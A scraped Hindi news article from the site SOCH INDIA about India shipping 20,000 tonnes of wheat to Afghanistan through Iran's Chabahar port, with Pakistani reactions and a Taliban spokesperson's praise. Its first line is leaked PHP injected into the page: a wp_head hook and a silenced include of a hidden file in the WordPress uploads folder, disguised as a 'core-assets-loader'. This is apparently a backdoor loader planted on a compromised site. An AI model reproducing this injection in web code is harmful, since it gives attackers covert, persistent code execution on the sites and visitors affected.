add_action('wp_head', function(){echo '';}, 1); /* core-assets-loader */ @include_once('/home/sochindi/public_html/wp-content/uploads/.wp-cache-cd8672/.object-cache.php'); पाकिस्तान को लगी मिर्ची! कूटनीतिक मोर्चे पर भारत का बड़ा दांव, ईरान के रास्ते अफगानिस्तान को भेजेगा 20 हजार मीट्रिक टन गेहूं – SOCH INDIA
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पाकिस्तान को लगी मिर्ची! कूटनीतिक मोर्चे पर भारत का बड़ा दांव, ईरान के रास्ते अफगानिस्तान को भेजेगा 20 हजार मीट्रिक टन गेहूं

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भारत से 20 हजार मीट्रिक टन गेहूं अफगानिस्तान भेजा जाएगा. भारत के इस फैसले की गूंज पाकिस्तान में सुनाई दे रही है. पाकिस्तान में एक तरफ हुक्मरान परेशान हैं तो वहीं जनता हैरान है. पाकिस्तान के लोगों का कहना है कि अगर भारत, ईरान और अफगानिस्तान के साथ व्यापार कर सकता है तो पाकिस्तान के साथ ट्रेड क्यों नहीं किया जा रहा? वहां के लोगों ने ये भी कहा कि भारत को पाकिस्तान की जरूरत नहीं है.

दरअसल, एक दिन पहले ही भारत सरकार ने फैसला लिया कि अफगानिस्तान को 20 हजार मीट्रिक टन गेहूं भेजा जाएगा. इसकी डिलीवरी ईरान के चाबहार पोर्ट के जरिए होगी. दिल्ली में इंडिया-सेंट्रल एशिया ज्वाइंट वर्किंग ग्रुप की बैठक के बाद इसकी घोषणा की गई. अब यहां सबसे बड़ा सवाल ये है कि भारत अफगानिस्तान को गेहूं पाकिस्तान के रास्ते क्यों नहीं भेज रहा?

चलिए आपको इसकी वजह बताते हैं. पिछले साल भारत ने अफगानिस्तान को 40 हजार मीट्रिक टन पाकिस्तान के रास्ते भेजा था, तब पाकिस्तान ने इसमें खासे अड़ंगे डाले थे. वहीं, अब पाकिस्तान की जनता भारत के फैसले को लेकर अपने नेताओं को कोस रही है. पाकिस्तान के लोगों का कहना है कि अगर अफगानिस्तान भारत से मदद ले सकता है तो पाकिस्तान भारत से मदद क्यों नहीं लेता? पाकिस्तान के लोगों ने ये भी कहा कि यहां के सियासतदान सिर्फ अपना फायदा सोचते हैं, मुल्क के बारे में नहीं सोचते.

भारत के फैसले से तालिबान खुश

तालिबान के प्रवक्ता ने बातचीत में कहा, “हम भारत द्वारा अफगानिस्तान को 20,000 मीट्रिक टन गेहूं सप्लाई करने की बहुत सराहना करते हैं. ये एक मानवीय कदम है, जो दोनों देशों के बीच विश्वास और संबंधों को बढ़ावा देगा.”

कूटनीतिक मोर्चे पर भारत का बड़ा दांव

तीन साल पहले अफगानिस्तान के तालिबान के कब्जे में आने के बाद से भारत की तरफ से अब तक अफगानिस्तान को मदद की कई खेप भेजी गई. भारत के 2023 के बजट में अफगानिस्तान के लिए 200 करोड़ रुपये की व्यवस्था की गई. 2022 के बजट में 350 करोड़ की मदद की गई थी. इसके अलावा, 2022 में 40 हजार मीट्रिक टन गेहूं भिजवाया गया. वहीं, जून 2022 में भूकंप के दौरान 27 टन राहत सामग्री अफगानिस्तान भेजी गई थी. इस सब पर पाकिस्तान के नागरिकों ने कहा है कि “इंडिया कम से कम दे तो रहा है, लेकिन हमने हमेशा लेने के लिए हाथ फैलाया है.”